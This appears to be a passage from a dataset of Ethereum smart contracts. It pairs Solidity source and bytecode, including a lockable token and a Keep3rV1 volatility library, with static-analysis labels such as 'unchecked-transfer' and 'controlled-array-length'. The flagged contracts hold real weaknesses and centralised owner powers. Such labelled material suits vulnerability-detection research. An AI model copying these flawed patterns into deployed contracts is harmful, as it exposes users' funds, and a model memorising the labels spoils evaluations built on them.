00604482015290519081900360640190fd5b3360009081526009602052604090205461167e90836118cd565b33600090815260096020526040808220929092556001600160a01b038516815220546116aa9083611a9d565b6001600160a01b0384166000818152600960209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b6000546001600160a01b031633146117515760405162461bcd60e51b815260040180806020018281038252602a815260200180611bdb602a913960400191505060405180910390fd5b60055460ff16156117935760405162461bcd60e51b8152600401808060200182810382526035815260200180611aff6035913960400191505060405180910390fd5b6005805460ff1916600190811790915560408051918252517fe4c97c0b674016b317b52dd3fbb57699889c86e187b096bc5a7f6dc3fcb12c209181900360200190a1565b6000546001600160a01b031633146118205760405162461bcd60e51b815260040180806020018281038252602a815260200180611bdb602a913960400191505060405180910390fd5b600655565b6001600160a01b039182166000908152600a6020908152604080832093909416825291909152205490565b6000546001600160a01b031633146118995760405162461bcd60e51b815260040180806020018281038252602a815260200180611bdb602a913960400191505060405180910390fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b60026020526000908152604090205481565b600082821115611924576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b60008161197e576040805162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b600082848161198957fe5b04949350505050565b6001600160a01b0383166119d75760405162461bcd60e51b8152600401808060200182810382526021815260200180611b996021913960400191505060405180910390fd5b6001600160a01b038216611a32576040805162461bcd60e51b815260206004820152601c60248201527f43616e6e6f7420617070726f7665207468652030206164647265737300000000604482015290519081900360640190fd5b6001600160a01b038084166000818152600a6020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b60055460ff1690565b600082820183811015611af7576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe43616e206f6e6c792073657420747261646561626c65207768656e20697473206e6f7420616c726561647920747261646561626c655061727469636970616e74732063616e277420626520696e766f6c76656420696e206d756c7469706c65206c6f636b207570732073696d756c74616e656f75736c794d75737420626520617070726f76656420746f207370656e642074686174206d75636843616e6e6f7420617070726f76652066726f6d20746865203020616464726573734d757374206861766520656e6f756768207370656e6461626c6520746f6b656e734f6e6c7920746865206f776e6572206f662074686520636f6e74726163742063616e20646f20746861744d75737420626520676976656e206f776e65727368697020746f20646f2074686174496e73756666696369656e7420616d6f756e74206c65667420696e20706f6f6c20666f722074686973a2646970667358221220f9c3b3b16aa6c10042f8020bcac9a537fda4b1d4729a553d25e39d9b204ec22264736f6c63430007000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 4,202 |
0x0317ada015cf35244b9f9c7d1f8f05c3651833ff
|
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ApproveAndCallReceiver {
function receiveApproval(address _from, uint256 _amount, address _token, bytes _data) public;
}
contract Controlled {
modifier onlyController {
require(msg.sender == controller);
_;
}
address public controller;
constructor() public {
controller = msg.sender;
}
function changeController(address _newController) onlyController public {
controller = _newController;
}
}
contract TokenAbout is Controlled {
event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount);
function isContract(address _addr) constant internal returns (bool) {
if (_addr == 0) {
return false;
}
uint256 size;
assembly {
size := extcodesize(_addr)
}
return (size > 0);
}
function claimTokens(address[] tokens) onlyController public {
require(tokens.length <= 100, "tokens.length too long");
address _token;
uint256 balance;
ERC20Token token;
for(uint256 i; i<tokens.length; i++){
_token = tokens[i];
if (_token == 0x0) {
balance = address(this).balance;
if(balance > 0){
msg.sender.transfer(balance);
}
}else{
token = ERC20Token(_token);
balance = token.balanceOf(address(this));
token.transfer(msg.sender, balance);
emit ClaimedTokens(_token, msg.sender, balance);
}
}
}
}
contract TokenController {
function proxyPayment(address _owner) payable public returns(bool);
function onTransfer(address _from, address _to, uint _amount) public view returns(bool);
function onApprove(address _owner, address _spender, uint _amount) public view returns(bool);
}
contract ERC20Token {
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract TokenI is ERC20Token, Controlled {
string public name; //The Token's name: e.g. DigixDAO Tokens
uint8 public decimals = 18; //Number of decimals of the smallest unit
string public symbol; //An identifier: e.g. REP
function approveAndCall( address _spender, uint256 _amount, bytes _extraData) public returns (bool success);
function generateTokens(address _owner, uint _amount) public returns (bool);
function destroyTokens(address _owner, uint _amount) public returns (bool);
function enableTransfers(bool _transfersEnabled) public;
}
contract Token is TokenI, TokenAbout {
using SafeMath for uint256;
address public owner;
string public techProvider = "WeYii Tech(https://weyii.co)";
mapping (uint8 => uint256[]) public freezeOf; //所有数额,地址与数额合并为uint256,位运算拆分。
uint8 currUnlockStep; //当前解锁step
uint256 currUnlockSeq; //当前解锁step 内的游标
mapping (uint8 => bool) public stepUnlockInfo; //所有锁仓,key 使用序号向上增加,value,是否已解锁。
mapping (address => uint256) public freezeOfUser; //用户所有锁仓,方便用户查询自己锁仓余额
mapping (uint8 => uint256) public stepLockend; //key:锁仓step,value:解锁时
bool public transfersEnabled = true;
event Burn(address indexed from, uint256 value);
event Freeze(address indexed from, uint256 value);
event Unfreeze(address indexed from, uint256 value);
constructor(uint256 initialSupply, string tokenName, string tokenSymbol, address initialOwner) public {
name = tokenName;
symbol = tokenSymbol;
owner = initialOwner;
totalSupply = initialSupply*uint256(10)**decimals;
balanceOf[owner] = totalSupply;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier ownerOrController(){
require(msg.sender == owner || msg.sender == controller);
_;
}
modifier transable(){
require(transfersEnabled);
_;
}
modifier ownerOrUser(address user){
require(msg.sender == owner || msg.sender == user);
_;
}
modifier userOrController(address user){
require(msg.sender == user || msg.sender == owner || msg.sender == controller);
_;
}
modifier realUser(address user){
require(user != 0x0);
_;
}
modifier moreThanZero(uint256 _value){
require(_value > 0);
_;
}
modifier userEnough(address _user, uint256 _amount) {
require(balanceOf[_user] >= _amount);
_;
}
function addLockStep(uint8 _step, uint _endTime) onlyController external returns(bool) {
stepLockend[_step] = _endTime;
}
function transfer(address _to, uint256 _value) realUser(_to) moreThanZero(_value) transable public returns (bool) {
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract from the sender
balanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient
emit Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place
return true;
}
function approve(address _spender, uint256 _value) transable public returns (bool success) {
require(_value == 0 || (allowance[msg.sender][_spender] == 0));
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function unApprove(address _spender, uint256 _value) moreThanZero(_value) transable public returns (bool success) {
require(_value == 0 || (allowance[msg.sender][_spender] == 0));
allowance[msg.sender][_spender] = allowance[msg.sender][_spender].sub(_value);
emit Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _amount, bytes _extraData) transable public returns (bool success) {
require(approve(_spender, _amount));
ApproveAndCallReceiver(_spender).receiveApproval(msg.sender, _amount, this, _extraData);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) realUser(_from) realUser(_to) moreThanZero(_value) transable public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the sender has enough
require(balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the sender
balanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function transferMulti(address[] _to, uint256[] _value) transable public returns (bool success, uint256 amount){
require(_to.length == _value.length && _to.length <= 300, "transfer once should be less than 300, or will be slow");
uint256 balanceOfSender = balanceOf[msg.sender];
uint256 len = _to.length;
for(uint256 j; j<len; j++){
require(_value[j] <= balanceOfSender); //limit transfer value
amount = amount.add(_value[j]);
}
require(balanceOfSender > amount ); //check enough and not overflow
balanceOf[msg.sender] = balanceOf[msg.sender].sub(amount);
address _toI;
uint256 _valueI;
for(uint256 i; i<len; i++){
_toI = _to[i];
_valueI = _value[i];
balanceOf[_toI] = balanceOf[_toI].add(_valueI);
emit Transfer(msg.sender, _toI, _valueI);
}
return (true, amount);
}
function transferMultiSameValue(address[] _to, uint256 _value) transable public returns (bool){
require(_to.length <= 300, "transfer once should be less than 300, or will be slow");
uint256 len = _to.length;
uint256 amount = _value.mul(len);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(amount);
address _toI;
for(uint256 i; i<len; i++){
_toI = _to[i];
balanceOf[_toI] = balanceOf[_toI].add(_value);
emit Transfer(msg.sender, _toI, _value);
}
return true;
}
function freeze(address _user, uint256[] _value, uint8[] _step) onlyController public returns (bool success) {
require(_value.length == _step.length, "length of value and step must be equal");
require(_value.length <= 100, "lock step should less or equal than 100");
uint256 amount; //冻结总额
for(uint i; i<_value.length; i++){
amount = amount.add(_value[i]);
}
require(balanceOf[_user] >= amount, "balance of user must bigger or equal than amount of all steps");
balanceOf[_user] -= amount;
freezeOfUser[_user] += amount;
uint256 _valueI;
uint8 _stepI;
for(i=0; i<_value.length; i++){
_valueI = _value[i];
_stepI = _step[i];
freezeOf[_stepI].push(uint256(_user)<<96|_valueI);
}
emit Freeze(_user, amount);
return true;
}
function unFreeze(uint8 _step) onlyController public returns (bool unlockOver) {
require(stepLockend[_step]<now && (currUnlockStep==_step || currUnlockSeq==uint256(0)));
require(stepUnlockInfo[_step]==false);
uint256[] memory currArr = freezeOf[_step];
currUnlockStep = _step;
if(currUnlockSeq==uint256(0)){
currUnlockSeq = currArr.length;
}
uint256 start = ((currUnlockSeq>99)?(currUnlockSeq-99): 0);
uint256 userLockInfo;
uint256 _amount;
address userAddress;
for(uint256 end = currUnlockSeq; end>start; end--){
userLockInfo = freezeOf[_step][end-1];
_amount = userLockInfo&0xFFFFFFFFFFFFFFFFFFFFFFFF;
userAddress = address(userLockInfo>>96);
balanceOf[userAddress] += _amount;
freezeOfUser[userAddress] = freezeOfUser[userAddress].sub(_amount);
emit Unfreeze(userAddress, _amount);
}
if(start==0){
stepUnlockInfo[_step] = true;
currUnlockSeq = 0;
}else{
currUnlockSeq = start;
}
return true;
}
function() payable public {
require(isContract(controller), "controller is not a contract");
bool proxyPayment = TokenController(controller).proxyPayment.value(msg.value)(msg.sender);
require(proxyPayment);
}
function generateTokens(address _user, uint _amount) onlyController userEnough(owner, _amount) public returns (bool) {
balanceOf[_user] += _amount;
balanceOf[owner] -= _amount;
emit Transfer(0, _user, _amount);
return true;
}
function destroyTokens(address _user, uint _amount) onlyController userEnough(_user, _amount) public returns (bool) {
require(balanceOf[_user] >= _amount);
balanceOf[owner] += _amount;
balanceOf[_user] -= _amount;
emit Transfer(_user, 0, _amount);
emit Burn(_user, _amount);
return true;
}
function changeOwner(address newOwner) onlyOwner public returns (bool) {
balanceOf[newOwner] = balanceOf[owner];
balanceOf[owner] = 0;
owner = newOwner;
return true;
}
function enableTransfers(bool _transfersEnabled) onlyController public {
transfersEnabled = _transfersEnabled;
}
}
|
0x60806040526004361061017f5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610291578063086272bf1461031b578063095ea7b31461034a5780630a8d5fb81461036e5780630e546a1b1461038357806318160ddd146103b057806323b872dd146103c55780633104b21a146103ef578063313ce5671461041357806335bce6e41461043e5780633cebb823146104e757806342efffec1461050a578063492d06cf1461052b578063662d2ec81461054657806370a08231146105e257806379af654714610603578063827f32c0146106215780638da5cb5b1461064557806395d89b4114610676578063a6f9dae11461068b578063a9059cbb146106ac578063bef97c87146106d0578063cae9ca51146106e5578063d3ce77fe1461074e578063d97cec3f14610772578063dd62ed3e146107c9578063e2f8fd53146107f0578063eef72a3c1461080e578063f41e60c514610863578063f77c47911461087d575b60035460009061019790600160a060020a0316610892565b15156101ed576040805160e560020a62461bcd02815260206004820152601c60248201527f636f6e74726f6c6c6572206973206e6f74206120636f6e747261637400000000604482015290519081900360640190fd5b600354604080517ff48c30540000000000000000000000000000000000000000000000000000000081523360048201529051600160a060020a039092169163f48c3054913491602480830192602092919082900301818588803b15801561025357600080fd5b505af1158015610267573d6000803e3d6000fd5b50505050506040513d602081101561027e57600080fd5b5051905080151561028e57600080fd5b50005b34801561029d57600080fd5b506102a66108bf565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102e05781810151838201526020016102c8565b50505050905090810190601f16801561030d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561032757600080fd5b5061033660ff6004351661094d565b604080519115158252519081900360200190f35b34801561035657600080fd5b50610336600160a060020a0360043516602435610962565b34801561037a57600080fd5b506102a6610a16565b34801561038f57600080fd5b5061039e60ff60043516610a71565b60408051918252519081900360200190f35b3480156103bc57600080fd5b5061039e610a83565b3480156103d157600080fd5b50610336600160a060020a0360043581169060243516604435610a89565b3480156103fb57600080fd5b50610336600160a060020a0360043516602435610c4f565b34801561041f57600080fd5b50610428610d44565b6040805160ff9092168252519081900360200190f35b34801561044a57600080fd5b50604080516020600480358082013583810280860185019096528085526104cc95369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a998901989297509082019550935083925085019084908082843750949750610d4d9650505050505050565b60408051921515835260208301919091528051918290030190f35b3480156104f357600080fd5b50610508600160a060020a0360043516610f7e565b005b34801561051657600080fd5b5061039e600160a060020a0360043516610fc4565b34801561053757600080fd5b5061033660ff60043516610fd6565b34801561055257600080fd5b50604080516020600460248035828101358481028087018601909752808652610336968435600160a060020a031696369660449591949091019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a9989019892975090820195509350839250850190849080828437509497506112299650505050505050565b3480156105ee57600080fd5b5061039e600160a060020a0360043516611525565b34801561060f57600080fd5b5061033660ff60043516602435611537565b34801561062d57600080fd5b50610336600160a060020a0360043516602435611568565b34801561065157600080fd5b5061065a61160d565b60408051600160a060020a039092168252519081900360200190f35b34801561068257600080fd5b506102a661161c565b34801561069757600080fd5b50610336600160a060020a0360043516611677565b3480156106b857600080fd5b50610336600160a060020a03600435166024356116ec565b3480156106dc57600080fd5b506103366117c3565b3480156106f157600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610336948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506117cc9650505050505050565b34801561075a57600080fd5b50610336600160a060020a03600435166024356118eb565b34801561077e57600080fd5b50604080516020600480358082013583810280860185019096528085526103369536959394602494938501929182918501908490808284375094975050933594506119f69350505050565b3480156107d557600080fd5b5061039e600160a060020a0360043581169060243516611b81565b3480156107fc57600080fd5b5061039e60ff60043516602435611b9e565b34801561081a57600080fd5b506040805160206004803580820135838102808601850190965280855261050895369593946024949385019291829185019084908082843750949750611bce9650505050505050565b34801561086f57600080fd5b506105086004351515611e36565b34801561088957600080fd5b5061065a611e60565b600080600160a060020a03831615156108ae57600091506108b9565b823b90506000811191505b50919050565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156109455780601f1061091a57610100808354040283529160200191610945565b820191906000526020600020905b81548152906001019060200180831161092857829003601f168201915b505050505081565b600c6020526000908152604090205460ff1681565b600f5460009060ff16151561097657600080fd5b8115806109a45750336000908152600260209081526040808320600160a060020a0387168452909152902054155b15156109af57600080fd5b336000818152600260209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b6008805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156109455780601f1061091a57610100808354040283529160200191610945565b600e6020526000908152604090205481565b60005481565b600083600160a060020a0381161515610aa157600080fd5b83600160a060020a0381161515610ab757600080fd5b8360008111610ac557600080fd5b600f5460ff161515610ad657600080fd5b600160a060020a038716600090815260016020526040902054851115610afb57600080fd5b600160a060020a03861660009081526001602052604090205485810111610b2157600080fd5b600160a060020a0387166000908152600260209081526040808320338452909152902054851115610b5157600080fd5b600160a060020a038716600090815260016020526040902054610b7a908663ffffffff611e6f16565b600160a060020a038089166000908152600160205260408082209390935590881681522054610baf908663ffffffff611e8116565b600160a060020a03808816600090815260016020908152604080832094909455918a168152600282528281203382529091522054610bf3908663ffffffff611e6f16565b600160a060020a0380891660008181526002602090815260408083203384528252918290209490945580518981529051928a16939192600080516020611ebc833981519152929181900390910190a35060019695505050505050565b600081818111610c5e57600080fd5b600f5460ff161515610c6f57600080fd5b821580610c9d5750336000908152600260209081526040808320600160a060020a0388168452909152902054155b1515610ca857600080fd5b336000908152600260209081526040808320600160a060020a0388168452909152902054610cdc908463ffffffff611e6f16565b336000818152600260209081526040808320600160a060020a038a1680855290835292819020949094558351878152935191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a35060019392505050565b60055460ff1681565b600080600080600080600080600f60009054906101000a900460ff161515610d7457600080fd5b88518a51148015610d88575061012c8a5111155b1515610e04576040805160e560020a62461bcd02815260206004820152603660248201527f7472616e73666572206f6e63652073686f756c64206265206c6573732074686160448201527f6e203330302c206f722077696c6c20626520736c6f7700000000000000000000606482015290519081900360840190fd5b336000908152600160205260409020548a5190965094505b84841015610e7d57858985815181101515610e3357fe5b602090810290910101511115610e4857600080fd5b610e708985815181101515610e5957fe5b60209081029091010151889063ffffffff611e8116565b9650600190930192610e1c565b868611610e8957600080fd5b33600090815260016020526040902054610ea9908863ffffffff611e6f16565b336000908152600160205260409020555b84811015610f6d578981815181101515610ed057fe5b9060200190602002015192508881815181101515610eea57fe5b6020908102909101810151600160a060020a03851660009081526001909252604090912054909250610f22908363ffffffff611e8116565b600160a060020a038416600081815260016020908152604091829020939093558051858152905191923392600080516020611ebc8339815191529281900390910190a3600101610eba565b600197505050505050509250929050565b600354600160a060020a03163314610f9557600080fd5b6003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600d6020526000908152604090205481565b60035460009060609082908190819081908190600160a060020a03163314610ffd57600080fd5b60ff88166000908152600e60205260409020544211801561102f5750600a5460ff8981169116148061102f5750600b54155b151561103a57600080fd5b60ff8089166000908152600c6020526040902054161561105957600080fd5b60ff8816600090815260096020908152604091829020805483518184028101840190945280845290918301828280156110b157602002820191906000526020600020905b81548152602001906001019080831161109d575b5050600a805460ff191660ff8e161790555050600b549197505015156110d7578551600b555b6063600b54116110e85760006110ef565b6063600b54035b9450600b5490505b848111156111e95760ff881660009081526009602052604090208054600019830190811061112157fe5b6000918252602080832090910154600160a060020a036c010000000000000000000000008204908116845260018352604080852080546bffffffffffffffffffffffff8516908101909155600d9094529093205490965090945090925061118e908463ffffffff611e6f16565b600160a060020a0383166000818152600d6020908152604091829020939093558051868152905191927f2cfce4af01bcb9d6cf6c84ee1b7c491100b8695368264146a94d71e10a63083f92918290030190a2600019016110f7565b8415156112155760ff88166000908152600c60205260408120805460ff19166001179055600b5561121b565b600b8590555b506001979650505050505050565b6003546000908190819081908190600160a060020a0316331461124b57600080fd5b85518751146112ca576040805160e560020a62461bcd02815260206004820152602660248201527f6c656e677468206f662076616c756520616e642073746570206d75737420626560448201527f20657175616c0000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b86516064101561134a576040805160e560020a62461bcd02815260206004820152602760248201527f6c6f636b20737465702073686f756c64206c657373206f7220657175616c207460448201527f68616e2031303000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b86518310156113885761137b878481518110151561136457fe5b60209081029091010151859063ffffffff611e8116565b935060019092019161134a565b600160a060020a03881660009081526001602052604090205484111561141e576040805160e560020a62461bcd02815260206004820152603d60248201527f62616c616e6365206f662075736572206d75737420626967676572206f72206560448201527f7175616c207468616e20616d6f756e74206f6620616c6c207374657073000000606482015290519081900360840190fd5b600160a060020a038816600090815260016020908152604080832080548890039055600d909152812080548601905592505b86518310156114d857868381518110151561146757fe5b906020019060200201519150858381518110151561148157fe5b602090810290910181015160ff811660009081526009835260408120805460018181018355918352939091206c01000000000000000000000000600160a060020a038d160286179301929092559301929050611450565b604080518581529051600160a060020a038a16917ff97a274face0b5517365ad396b1fdba6f68bd3135ef603e44272adba3af5a1e0919081900360200190a2506001979650505050505050565b60016020526000908152604090205481565b600354600090600160a060020a0316331461155157600080fd5b60ff9092166000908152600e602052604090205590565b600354600090600160a060020a0316331461158257600080fd5b600754600160a060020a031660008181526001602052604090205483908111156115ab57600080fd5b600160a060020a03808616600081815260016020908152604080832080548a0190556007549094168252838220805489900390558351888152935192939192600080516020611ebc8339815191529281900390910190a3506001949350505050565b600754600160a060020a031681565b6006805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156109455780601f1061091a57610100808354040283529160200191610945565b600754600090600160a060020a0316331461169157600080fd5b5060078054600160a060020a03908116600090815260016020819052604080832054958416808452818420969096558454909316825291812055815473ffffffffffffffffffffffffffffffffffffffff1916909217905590565b600082600160a060020a038116151561170457600080fd5b826000811161171257600080fd5b600f5460ff16151561172357600080fd5b33600090815260016020526040902054611743908563ffffffff611e6f16565b3360009081526001602052604080822092909255600160a060020a03871681522054611775908563ffffffff611e8116565b600160a060020a038616600081815260016020908152604091829020939093558051878152905191923392600080516020611ebc8339815191529281900390910190a3506001949350505050565b600f5460ff1681565b600f5460009060ff1615156117e057600080fd5b6117ea8484610962565b15156117f557600080fd5b6040517f8f4ffcb10000000000000000000000000000000000000000000000000000000081523360048201818152602483018690523060448401819052608060648501908152865160848601528651600160a060020a038a1695638f4ffcb195948a94938a939192909160a490910190602085019080838360005b83811015611888578181015183820152602001611870565b50505050905090810190601f1680156118b55780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1580156118d757600080fd5b505af115801561121b573d6000803e3d6000fd5b600354600090600160a060020a0316331461190557600080fd5b600160a060020a0383166000908152600160205260409020548390839081111561192e57600080fd5b600160a060020a03851660009081526001602052604090205484111561195357600080fd5b600754600160a060020a039081166000908152600160209081526040808320805489019055928816808352838320805489900390558351888152935192939092600080516020611ebc833981519152929181900390910190a3604080518581529051600160a060020a038716917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2506001949350505050565b600f54600090819081908190819060ff161515611a1257600080fd5b865161012c1015611a93576040805160e560020a62461bcd02815260206004820152603660248201527f7472616e73666572206f6e63652073686f756c64206265206c6573732074686160448201527f6e203330302c206f722077696c6c20626520736c6f7700000000000000000000606482015290519081900360840190fd5b86519350611aa7868563ffffffff611e9716565b33600090815260016020526040902054909350611aca908463ffffffff611e6f16565b336000908152600160205260409020555b83811015611b74578681815181101515611af157fe5b6020908102909101810151600160a060020a03811660009081526001909252604090912054909250611b29908763ffffffff611e8116565b600160a060020a038316600081815260016020908152604091829020939093558051898152905191923392600080516020611ebc8339815191529281900390910190a3600101611adb565b5060019695505050505050565b600260209081526000928352604080842090915290825290205481565b600960205281600052604060002081815481101515611bb957fe5b90600052602060002001600091509150505481565b600354600090819081908190600160a060020a03163314611bee57600080fd5b845160641015611c48576040805160e560020a62461bcd02815260206004820152601660248201527f746f6b656e732e6c656e67746820746f6f206c6f6e6700000000000000000000604482015290519081900360640190fd5b8451811015611e2f578481815181101515611c5f57fe5b90602001906020020151935083600160a060020a031660001415611cbe57303192506000831115611cb957604051339084156108fc029085906000818181858888f19350505050158015611cb7573d6000803e3d6000fd5b505b611e27565b604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051859350600160a060020a038416916370a082319160248083019260209291908290030181600087803b158015611d2257600080fd5b505af1158015611d36573d6000803e3d6000fd5b505050506040513d6020811015611d4c57600080fd5b5051604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152336004820152602481018390529051919450600160a060020a0384169163a9059cbb916044808201926020929091908290030181600087803b158015611dba57600080fd5b505af1158015611dce573d6000803e3d6000fd5b505050506040513d6020811015611de457600080fd5b50506040805184815290513391600160a060020a038716917ff931edb47c50b4b4104c187b5814a9aef5f709e17e2ecf9617e860cacade929c9181900360200190a35b600101611c48565b5050505050565b600354600160a060020a03163314611e4d57600080fd5b600f805460ff1916911515919091179055565b600354600160a060020a031681565b600082821115611e7b57fe5b50900390565b600082820183811015611e9057fe5b9392505050565b6000828202831580611eb35750828482811515611eb057fe5b04145b1515611e9057fe00ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820ede79673f7659f7a19af6df341556fb7694571978391595e4a8cb4fa26d6e0a10029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 4,203 |
0x65f3edea3bbc68bce1d3a32779cbd2c9829b52df
|
/**
*Submitted for verification at Etherscan.io on 2020-11-17
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IKeep3rV1Oracle {
function sample(address tokenIn, uint amountIn, address tokenOut, uint points, uint window) external view returns (uint[] memory);
function current(address tokenIn, uint amountIn, address tokenOut) external view returns (uint amountOut);
}
interface IERC20 {
function decimals() external view returns (uint);
}
contract Keep3rV1Volatility {
uint private constant FIXED_1 = 0x080000000000000000000000000000000;
uint private constant FIXED_2 = 0x100000000000000000000000000000000;
uint private constant SQRT_1 = 13043817825332782212;
uint private constant LNX = 3988425491;
uint private constant LOG_10_2 = 3010299957;
uint private constant LOG_E_2 = 6931471806;
uint private constant BASE = 1e10;
IKeep3rV1Oracle public constant KV1O = IKeep3rV1Oracle(0x73353801921417F465377c8d898c6f4C0270282C);
address public constant WETH = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
function floorLog2(uint256 _n) public pure returns (uint8) {
uint8 res = 0;
if (_n < 256) {
// At most 8 iterations
while (_n > 1) {
_n >>= 1;
res += 1;
}
} else {
// Exactly 8 iterations
for (uint8 s = 128; s > 0; s >>= 1) {
if (_n >= (uint(1) << s)) {
_n >>= s;
res |= s;
}
}
}
return res;
}
function ln(uint256 x) public pure returns (uint) {
uint res = 0;
// If x >= 2, then we compute the integer part of log2(x), which is larger than 0.
if (x >= FIXED_2) {
uint8 count = floorLog2(x / FIXED_1);
x >>= count; // now x < 2
res = count * FIXED_1;
}
// If x > 1, then we compute the fraction part of log2(x), which is larger than 0.
if (x > FIXED_1) {
for (uint8 i = 127; i > 0; --i) {
x = (x * x) / FIXED_1; // now 1 < x < 4
if (x >= FIXED_2) {
x >>= 1; // now 1 < x < 2
res += uint(1) << (i - 1);
}
}
}
return res * LOG_E_2 / BASE;
}
/**
* @dev computes e ^ (x / FIXED_1) * FIXED_1
* input range: 0 <= x <= OPT_EXP_MAX_VAL - 1
* auto-generated via 'PrintFunctionOptimalExp.py'
* Detailed description:
* - Rewrite the input as a sum of binary exponents and a single residual r, as small as possible
* - The exponentiation of each binary exponent is given (pre-calculated)
* - The exponentiation of r is calculated via Taylor series for e^x, where x = r
* - The exponentiation of the input is calculated by multiplying the intermediate results above
* - For example: e^5.521692859 = e^(4 + 1 + 0.5 + 0.021692859) = e^4 * e^1 * e^0.5 * e^0.021692859
*/
function optimalExp(uint256 x) public pure returns (uint256) {
uint256 res = 0;
uint256 y;
uint256 z;
z = y = x % 0x10000000000000000000000000000000; // get the input modulo 2^(-3)
z = (z * y) / FIXED_1;
res += z * 0x10e1b3be415a0000; // add y^02 * (20! / 02!)
z = (z * y) / FIXED_1;
res += z * 0x05a0913f6b1e0000; // add y^03 * (20! / 03!)
z = (z * y) / FIXED_1;
res += z * 0x0168244fdac78000; // add y^04 * (20! / 04!)
z = (z * y) / FIXED_1;
res += z * 0x004807432bc18000; // add y^05 * (20! / 05!)
z = (z * y) / FIXED_1;
res += z * 0x000c0135dca04000; // add y^06 * (20! / 06!)
z = (z * y) / FIXED_1;
res += z * 0x0001b707b1cdc000; // add y^07 * (20! / 07!)
z = (z * y) / FIXED_1;
res += z * 0x000036e0f639b800; // add y^08 * (20! / 08!)
z = (z * y) / FIXED_1;
res += z * 0x00000618fee9f800; // add y^09 * (20! / 09!)
z = (z * y) / FIXED_1;
res += z * 0x0000009c197dcc00; // add y^10 * (20! / 10!)
z = (z * y) / FIXED_1;
res += z * 0x0000000e30dce400; // add y^11 * (20! / 11!)
z = (z * y) / FIXED_1;
res += z * 0x000000012ebd1300; // add y^12 * (20! / 12!)
z = (z * y) / FIXED_1;
res += z * 0x0000000017499f00; // add y^13 * (20! / 13!)
z = (z * y) / FIXED_1;
res += z * 0x0000000001a9d480; // add y^14 * (20! / 14!)
z = (z * y) / FIXED_1;
